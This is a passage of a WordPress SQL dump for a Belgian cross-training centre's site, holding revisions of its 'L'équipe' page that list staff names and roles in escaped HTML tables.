(241, 1, '2013-07-03 19:36:43', '2013-07-03 19:36:43', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-07-03 19:36:43', '2013-07-03 19:36:43', '', 20, 'http://www.crosstrainingcenter.be/?p=241', 0, 'revision', '', 0),
(138, 1, '2013-06-16 15:03:45', '2013-06-16 15:03:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:03:45', '2013-06-16 15:03:45', '', 20, 'http://www.crosstrainingcenter.be/?p=138', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(140, 1, '2013-06-16 15:07:01', '2013-06-16 15:07:01', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\n\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:07:01', '2013-06-16 15:07:01', '', 20, 'http://www.crosstrainingcenter.be/?p=140', 0, 'revision', '', 0),
(139, 1, '2013-06-16 15:04:18', '2013-06-16 15:04:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Daimen 